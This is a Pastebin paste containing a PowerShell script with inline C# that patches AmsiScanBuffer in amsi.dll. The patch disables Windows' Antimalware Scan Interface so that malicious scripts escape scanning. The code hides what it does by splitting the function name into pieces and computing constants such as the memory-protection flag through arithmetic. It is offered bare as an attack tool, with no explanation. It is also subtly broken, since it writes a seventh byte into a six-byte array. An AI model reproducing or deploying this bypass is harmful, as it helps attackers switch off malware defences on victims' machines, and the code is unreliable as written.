Advertisement
Guest User

Untitled

a guest
Sep 20th, 2019
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.87 KB | None | 0 0
  1. $Assem = (
  2. "System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089",
  3. "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublickeyToken=b03f5f7f11d50a3a"
  4. )
  5.  
  6. $Source = @"
  7. using System;
  8. using System.Runtime.InteropServices;
  9.  
  10. namespace Bypass
  11. {
  12. public class AMSI
  13. {
  14. [DllImport("kernel32")]
  15. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  16. [DllImport("kernel32")]
  17. public static extern IntPtr LoadLibrary(string name);
  18. [DllImport("kernel32")]
  19. public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
  20.  
  21. [DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
  22. static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
  23. public static int Disable()
  24. {
  25. IntPtr TargetDLL = LoadLibrary("amsi.dll");
  26. IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
  27. UIntPtr dwSize = (UIntPtr)(5 + 5) - 5;
  28. uint Zero = (12 + 12) - 24;
  29. VirtualProtect(ASBPtr, dwSize, (64 + 64) - 64, out Zero);
  30. //Byte[] Patch = { 184, 87, 1, 6, 128, 195 , 155};
  31. Byte[] Patch = new byte [6];
  32. Patch[0] = 184;
  33. Patch[1] = 87;
  34. Patch[2] = 1;
  35. Patch[3] = 6;
  36. Patch[4] = 128;
  37. Patch[5] = 195;
  38. Patch[6] = 155;
  39. IntPtr unmanagedPointer = Marshal.AllocHGlobal(7);
  40. Marshal.Copy(new byte[] { Patch[0],Patch[1],Patch[2],Patch[3],Patch[4],Patch[5], Patch[6]}, 0, unmanagedPointer, 7);
  41. MoveMemory(ASBPtr, unmanagedPointer, 7);
  42. return 0;
  43. }
  44.  
  45. }
  46. }
  47.  
  48.  
  49. "@
  50.  
  51. add-Type -ReferencedAssemblies $Assem -TypeDefinition $Source -Language CSharp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement